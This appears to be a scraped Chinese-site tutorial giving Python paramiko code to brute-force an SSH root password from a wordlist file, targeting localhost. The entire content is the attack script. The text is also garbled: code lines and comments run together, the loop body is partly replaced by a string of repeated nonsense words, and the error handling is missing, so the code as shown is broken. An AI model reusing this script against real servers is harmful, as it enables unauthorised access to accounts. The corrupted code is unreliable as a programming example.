Environment preparation:
1. Installationparamiko module
2. Server ssh service opens port 22
##!/usr/bin/py#-*- coding: utf-8 -*-import paramikossh = paramiko.SSHClient( ) #Instantiation classssh.
set_missing_host_key_policy(paramiko.AutoAddPolicy()) #The automatic answer when connecting is yes
d =file('/root/a.txt') #Dictionary file path
for i in d.xreadlines(): #LoopPassword dictionary
i = i.strip() #Remove the spaces before and afterif not i: #Enter if the value is empty Next cycle
using using use using through through ’ ’s ’ through ’ using ’s ‐ ‐‐‐‐‐‐‐‐ ssh.connect(hostname='localhost' , port=22, username='root', password
=i)print 'The root password is',i #If the password is correct, print the password
## Break# Continue#If the password is wrong :
print 'The root password was not cracked, please change the dictionary and try again' #If the password is not matchedThe above is the detailed content of Use python to brute force crack the root password example code. For more information, please follow other related articles on the PHP Chinese website!